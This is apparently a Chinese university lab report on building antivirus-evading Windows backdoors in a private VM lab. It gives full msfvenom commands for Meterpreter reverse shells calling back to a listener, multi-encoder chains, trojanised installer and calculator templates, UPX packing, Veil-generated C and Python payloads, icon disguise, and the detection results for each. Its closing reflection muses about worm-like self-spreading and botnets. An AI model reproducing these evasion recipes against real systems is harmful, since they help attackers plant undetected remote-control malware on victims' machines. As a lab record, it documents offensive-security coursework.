Exp3 免杀原理与实践
这次的实验令我非常兴奋，因为要对抗的是各大杀毒软件厂商，所以事先得做好很多功课。另一方面我也想看看metasploit在这场猫鼠游戏中能不能走在安全厂商的前面。
这次的目标免杀平台是64位windows 7 SP1，我用的windows 7 SP1虚拟机中事先装了一下杀毒软件：
- 火绒 版本：4.0.55.0
- 360安全卫士 版本：11.4.0.2002 —— 必须连上互联网才能正常工作
在线检测：
- Virustotal (www.virustotal.com)
- Virscan (www.virscan.org) —— 我感觉这个网站没有virustotal好
0x0 裸奔的后门程序
在正式开始实验之前，我们先看一下没有做免杀的Meterpreter在各个杀毒引擎面前的表现，以此为基准，评估免杀的效果。
可以看出没有做免杀的Meterpreter是相当容易暴露的。
0x1 使用MSF编码器
思路——MSF多重编码
杀毒软件厂商的钱不是白赚的，单靠MSF的编码器要想取得成功非常困难。所以我一开始就准备用msfvenom来个大招！
首先，我们不能使用msfvenom的默认模版装载payload，这么多安全厂商盯着metasploit，我们最好选择自己的模版。我决定用360压缩的安装包作为模版，并且保留它的原始功能。
其次，必须选择合适的编码器。shikata_ga_nai是msf中唯一的评价是excellent的编码器，这种多态编码技术使得没次生成的攻击载荷文件是不一样的。这里我们要使用多重编码，通过管道，让msfvenom用不同编码器反复编码进行混淆。
因此，我列出这次实验中msfvenom要用到的参数，供同学们参考：
-a <arch>设置目标的指令集架构，这里我们选择x86即可--platform <platform>设置目标平台，这里是windows，可以通过--help-platforms选项查看msfvenom支持的所有平台-p <payload>设置攻击载荷，我们使用windows/meterpreter/reverse_tcp，可以通过-l payloads查看所有攻击载荷-e <encoder>指定编码器，我会组合使用不同的编码器，可以通过-l encoders查看所有编码器-i <count>指定编码迭代的次数-x <path>指定模版-k该选项可以保留模版原来的功能，将payload作为一个新的线程来注入，但不能保证可以用在所有可执行程序上。-f <format>指定生成格式，可以是raw，exe，elf，jar，c语言的，python的，java的……，用--help-formats查看所有支持的格式
实践
输入msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.0.2.6 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -x 360zip_setup_4.0.0.1030.exe -f exe > 360zip_setup.20155110.exe
这里使用管道让msfvenom对攻击载荷多重编码，先用shikata_ga_nai编码20次，接着来10次的alpha_upper编码，再来10次的countdown编码，最后才生成以360zip_setup_4.0.0.1030.exe为模板的可执行文件。
原始模板的大小只有7.5M，但编码以后却增加到了16M!!
把它交给win7靶机测试环境，原始安装包的功能消失了！，-k参数好像没发挥作用。
但是这个后门还是可以运行的。
测试
本地测试
我先用本地的一些安全软件对后门进行检测，这些软件的版本信息我写在前面了。这里用到技术还是比较单一的，我对测试结果没报太大希望。
火绒安全
我刚打开火绒安全软件，火绒就立马报毒了，甚至连netcat它都没放过！！
360安全卫士
360安全卫士的检测结果如下，我们 没能骗过360安全卫士，360还是很强的（前提必须连上互联网）。
在线监测
本地检测局限性比较大，我们通过两个在线恶意代码检测平台测试一下这个后面程序。
VirusTotal
太惨了！66个引擎有35个发现后门。毕竟使用的技术过于单一，这也是没办法的事情。
有个叫Qihoo-360的很有问题啊！
Virscan
由于一直没有办法将样本上传上去，我就将360zip_setup.5.1.1.0.exe用zip打了个包上传了，virscan说它会自动解压缩的(文件名包含学号5110居然说我是广告，不给测，5.1.1.0其实是我的学号5110)
virscan提供的引擎的确不太给力啊。
不过，我发现瑞星居然一针见血的支出了后门的来源，看来meterpreter名声很响亮。
0x2 尝试加壳软件
upx打包器的原理非常简单，就是将可执行文件中的代码和数据进行压缩，然后将解压缩用的代码附加在前面，运行的时候先将原本的可执行数据解压出来，然后再运行解压缩后的数据。
打包器的本质目的是反调试，防止逆向工程。我们这里使用打包器的目的是为了改变后门程序的特征码。
模板问题
我本来想在上一步的基础上对后门软件进行upx加壳，
但是，360压缩的安装包本身无法用upx加壳，以它为模板的后门程序也没法用upx加壳。
到这里，我的思路被打断了。我觉得这是模板的问题，我应该重新选择一个模板（而且从之前的实验看，360压缩安装包并不是一个好的模板）
新的模板——计算器calc.exe
没办法，只能选择新的模板了，我选择了32位的计算器程序calc.exe作为模板。
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=5110 -x calc.exe -k -f exe > calc.5.1.10.exe先生成后门程序
运行这个后门程序，-k参数对该模板是有效的！计算器的功能正常保留了下来，这次的后门有点像样了！
但是从图上可以看出来，后门程序的大小比原始程序要大的多。
可以看一下Meterpreter所在的进程：
无法加壳
直接输入upx calc.5.1.10.exe，尝试对后门程序进行加壳，但失败了。
但对原始模板calc.exe进行加壳却没有问题，输入upx calc.exe -o calc_upx.exe
但模板却没法运行了……
从头开始
使用msfvenom的默认模版，使用shikata_ga_nai编码器编码20次，然后用upx加壳，看看能不能成功。
输入msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=5110 -e x86/shikata_ga_nai -i 20 -f exe > backdoor.5.1.10.exe
加壳upx backdoor.5.1.10.exe
失败的加壳
火绒和360都轻轻松松的发现了upx加壳的后门程序。
我觉得应该是默认模板和编码器的使用过于简单，即便upx加壳混淆，依然难以达到免杀的效果。
简单的upx加壳还没有MSF原生的多重编码管用。
0x3 初探Veil 3.0——用Evasion工具生成后门程序源代码
Veil-Evasion通过各种不同的语言对shellcode进行改写，达到免杀的目的。作者在github上声明原来的Veil-Evasion已经不再维护了，让用户使用Veil 3.0。其实两者使用起来没有太大差别。veil的官网http://www.veil-framework.com有关于veil使用的教程可以参考。
我花了不少时间去安装veil。一开始从apt中安装veil失败了，我干脆到github上去克隆veil，依然没有配置好环境（不同于metasploit的主页，Veil的朱玥在github上还是比较冷清，贡献者不多）
获取后门C语言源码
因为安装错误，我无法在kali上让python脚本变成可执行文件，不过使用c语言倒是可以编译，但倒霉的是，我到64位win7虚拟机居然无法运行这个后门（但我到win10主机可以运行这个后门）。
我立刻改变思路，自行编译Veil生成的源码。先生成C语言版本的源码看看。
考虑到我win7虚拟机的性能，安装Visual Studio比较困难，我选择安装mingw来编译c/c++，来编译源码（虽然mingw编译正常程序生成的机器码来说都可能误报）
注意
手工编译效果
我们发现后门的源代码中使用了socket套接字，mingw手工编译时需要链接ws2_32库，输入指令gcc -o veil_test.5.1.10.exe veil_test.5.1.10.c -lws2_32进行编译。
编译了C语言版本的veil后门程序后，我把它放到virustotal上检测了一下，效果非常不错！只有8个引擎发现问题。
而且火绒安全和360都没有发现问题
我们开启这个后门试试，顺便看看它能不能躲过动态检测。这里有个小技巧，直接使用veil在/usr/share/veil-output/handler中的rc资源文件启动metasploit。
在win7中打开杀毒软件，在kali中输入msfconsole -r veil_test.5.1.10.rc，手动运行后门，成功连接，360没有任何动静！
获取后门的python源码
依然是使用Veil 3.0的Evasion生成后门源码，这里我选择的payload是python/meterpreter/rev_tcp，生成的源码如下：
Veil作者推荐使用Py2Exe生成可执行文件，之后我们得到了rnume.bat和setup.py安装脚本。
使用Py2Exe生成可执行文件
忘了说了，我事先在win7虚拟机中安装了Python3.3, py2Exe, PyCrypto, PyWin32，然后才能将python脚本变为可执行文件。
直接双击 runme.bat 批处理文件就能生成可执行文件了。
免杀效果
先放到virustotal上看一下生成的veil_py.5.1.10后门的免杀效果。
在看看本地的火绒安全和360能不能发现这个后门。
在杀毒软件开启的情况下，看看它能不能躲过动态查杀。
打开msfconsole进入监听状态，双击启动后门，虽然我们获得了会话
但是，靶机此时的画面却是这个样子的
想象一下，如果用户看到这样的画面， 一定会立即关闭这个进程！，我们刚刚获得的Meterpreter会话立刻就会关闭，而且我们的手速来不及做进程迁移。我经过多次尝试，发现如果没有msfconsole的监听，点击veil_py.5.1.10.exe没有任何反应。一旦msfconsole监听反弹会话，点击这个后门就会出现崩溃提示。
总而言之，这个后门是个 失败品。
0x4 用图标简单伪装后门程序
为了让我们的后门程序能够具有一些欺骗性，我觉得给后门程序添加一个图标。
先创建资源文件img.rc
1 ICON "img.ico"然后使用windres生成目标文件
windres img.rc img.o在把之前的veil_test.5.1.10和img.o链接起来，生成目标后门程序 veil_img.5.1.10.exe
gcc -o veil_img.5.1.10.exe veil_test.5.1.10.c img.o -lws2_32
我们依然测试一下这个后门的免杀效果。
我们看一下这个后门能否正常使用（杀毒软件全开）
这个后门可以说是成功了！
基础问题回答
(1) 杀软是如何检测出恶意代码的？
答：通过分析目标程序的特征码进行静态查杀，通过分析未知进程的行为有无恶意来进行动态查杀。
(2) 免杀是做什么？
答：让恶意代码绕过杀毒软件，防火墙，入侵检测系统的拦截。
(3) 免杀的基本方法有哪些？
答：加壳，添加花指令，编码器都是改变特征码的常见手段，用来躲避静态查杀。如果要躲避动态查杀，就像Meterpreter那样藏在内存里，依附到系统进程或可信进程即可。
离实战还缺些什么技术或步骤？
主要缺少实用的伪装技术，如果能够将后门与正常软件捆绑安装，或者将shellcode嵌入模板中而不影响原来模板的功能，这个后门就算合格了。
我还希望后门能像蠕虫那样自我复制和传播，组建僵尸网络，就像当年的“震网”一样，能算得上是一件网络武器（当然需要高超的技术，还得有个默契的团队）
其次这次实验还缺少了传播恶意程序这个步骤。精心编写的恶意代码还需要通过系统漏洞、客户端软件、社会工程学手段等等途径进入目标系统中。
实践总结与体会
这次实验我遇到不少小麻烦，主要是环境的问题。
我一开始为了偷懒，直接在我的win10主机上用编译后门程序，可把它复制到win7虚拟机里就运行不了了（我猜应该是因为ws2_32库有差异）。没办法，我只能在win7虚拟机里安装mingw，在虚拟机里编译，这才成功。
一句话，都是目标环境惹的祸。即便是大牛，也会因为环境问题而折腰。韩国神童lokihardt在pwn2own比赛上没拿第一，就是因为他自己联网安装下的windows和比赛官方脱机状态下安装的windows的“默认设置”有微小差异，导致漏洞利用过程中突然弹窗，被判失败。我们连“脚本小子”都算不上的小菜鸟因为环境问题而失败也就不用大惊小怪的。
这次实验的结果还算可以，虽然能伪装的不能免杀（我指的是计算器calc程序），能免杀的不能伪装，不过我还是感觉很开心的。也许在业余时间研究个两三年，达到像微博博主“中国元”那样诱骗电信骗子的水平还是可以的。
只要努力，羔羊总有一天会变成雄狮的。